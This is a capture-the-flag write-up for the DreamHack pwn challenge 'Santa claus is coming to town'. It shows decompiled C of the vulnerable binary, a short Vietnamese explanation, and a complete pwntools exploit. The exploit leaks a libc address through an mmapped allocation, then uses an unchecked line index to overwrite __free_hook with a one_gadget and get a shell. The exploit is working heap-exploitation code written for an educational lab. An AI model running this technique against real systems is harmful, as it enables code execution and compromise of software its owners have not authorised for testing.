DreamHack.io

721 - Santa claus is coming to town

Vulnerability: arbitrary size allocation; out-of-bound write - improper index check.

February 7, 2026 December 18, 2025 Easy
Author Author Hung Nguyen Tuong

Recon

Mitigation

Code

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+8h] [rbp-1B8h] BYREF
  int v4; // [rsp+Ch] [rbp-1B4h]
  __int64 v5; // [rsp+10h] [rbp-1B0h] BYREF
  __int64 v6; // [rsp+18h] [rbp-1A8h] BYREF
  int s[102]; // [rsp+20h] [rbp-1A0h] BYREF
  unsigned __int64 v8; // [rsp+1B8h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  init(argc, argv, envp);
  v3 = 0;
  v4 = 0;
  v5 = 0LL;
  v6 = 0LL;
  memset(s, 0, 400uLL);
  intro();
  while ( 1 )
  {
    while ( 1 )
    {
      print_menu();
      v3 = 0;
      __isoc99_scanf("%d", &v3);
      if ( v3 == 2 )
        break;
      if ( v3 == 3 )
      {
        if ( (unsigned int)santa_came(s) )
        {
          puts("Santa Claus : Oh... You're such an honest kid.");
          puts("Santa Claus : Tell me if you have any memories you want to change and erase in this year.");
          v4 = check_offset();
          if ( !v4 )
            exit(0);
          printf("what line you edit : ");
          __isoc99_scanf("%ld", &v6);
          if ( v6 < 0 )
          {
            puts("Wrong input");
            exit(0);
          }
          printf("Change memories to : ");
          read(0, (void *)(16 * (v6 - 1) + *(_QWORD *)&s[4 * v4 + 2]), 0x10uLL);
          free(*(void **)&s[4 * v4 + 2]);
          exit(0);
        }
        puts("Santa Claus just left...");
        exit(0);
      }
      if ( v3 == 1 )
      {
        v4 = check_offset();
        if ( v4 )
        {
          if ( v4 == s[4 * v4] )
          {
            puts("You already wrote.");
          }
          else
          {
            s[4 * v4] = v4;
            printf("How many lines will to write? (1 line = 16 words) : ");
            __isoc99_scanf("%ld", &v5);
            s[4 * v4 + 1] = v5;
            *(_QWORD *)&s[4 * v4 + 2] = malloc(16 * v5);
            puts("\n~~~~~~~~~~contents~~~~~~~~~~");
            read(0, *(void **)&s[4 * v4 + 2], 16 * v5 - 1);
          }
        }
      }
      else
      {
        puts("Wrong input");
      }
    }
    v4 = check_offset();
    if ( v4 )
    {
      if ( s[4 * v4] )
      {
        printf("\nPages : %p\n", *(const void **)&s[4 * v4 + 2]);
        printf("Contents : %s", *(const char **)&s[4 * v4 + 2]);
      }
      else
      {
        puts("You haven't written yet.");
      }
    }
  }
}
// 920: using guessed type __int64 __isoc99_scanf(const char *, ...);
// A80: using guessed type __int64 __fastcall init(_QWORD, _QWORD, _QWORD);
// AFC: using guessed type __int64 check_offset(void);
// B91: using guessed type __int64 __fastcall santa_came(_QWORD);
// C07: using guessed type __int64 intro(void);
// C91: using guessed type __int64 print_menu(void);
// CD9: using guessed type _DWORD s[102];

//----- (00000000000010C0) ----------------------------------------------------
void __fastcall _libc_csu_init(unsigned int a1, __int64 a2, __int64 a3)
{
  signed __int64 v4; // rbp
  __int64 i; // rbx

  v4 = &_do_global_dtors_aux_fini_array_entry - &_frame_dummy_init_array_entry;
  init_proc();
  if ( v4 )
  {
    for ( i = 0LL; i != v4; ++i )
      ((void (__fastcall *)(_QWORD, __int64, __int64))*(&_frame_dummy_init_array_entry + i))(a1, a2, a3);
  }
}

Solve

Malloc một chunk size cực lớn -> mmap sẽ được dùng để lấy một vùng ngay sau heap và trước libc. Từ địa chỉ chunk tính được địa chỉ libc. Sau đó chọn option 3, không kiểm tra line -> out of bound write -> overwrite free hook.

Script

#!/usr/bin/env python3

from pwn import *

exe = ELF("santa_coming_to_town_patched")
libc = ELF("libc-2.27.so")
ld = ELF("ld-2.27.so")

context.terminal = ['tmux', 'splitw', '-h']
context.binary = exe

sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)

slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())

ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()

pa = lambda text, addr: print(text, hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\x00"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset

gdbscript = '''
set follow-fork-mode parent
set detach-on-fork on
continue
'''

def conn():
    if args.LOCAL:
        p = process([exe.path])
        if args.GDB:
            gdb.attach(p, gdbscript=gdbscript)
        if args.DEBUG:
            context.log_level = 'debug'
        return p
    else:
        host = "host3.dreamhack.games"
        port = 10078
        return remote(host, port)

p = conn()

def write_diary(offset, lines, content):
    slan(p, b'>>', 1)
    slan(p, b'date', offset)
    slan(p, b'to write?', lines)
    sla(p, b'contents', content)

def read_diary(offset):
    slan(p, b'>>', 2)
    slan(p, b'date', offset)

for i in range(2, 26):
    write_diary(i, 1, b'A')

write_diary(1, 4096 * 50, b'A')

read_diary(1)

ru(p, b'Pages : ')
heap_leak = leak_hex(rn(p, 14))
pa("heap leak", heap_leak)

libc.address = heap_leak + 0x320ff0
pa("libc base", libc.address)

free_hook = heap_leak + 16 * (0x70e8e - 1)
pa("free hook", free_hook)

slan(p, b'>>', 3)
slan(p, b'date', 1)
slan(p, b'edit', 0x70e8e)
sla(p, b'memories', b'A' * 8 + p64(libc.address + 0x4f302))

ia(p)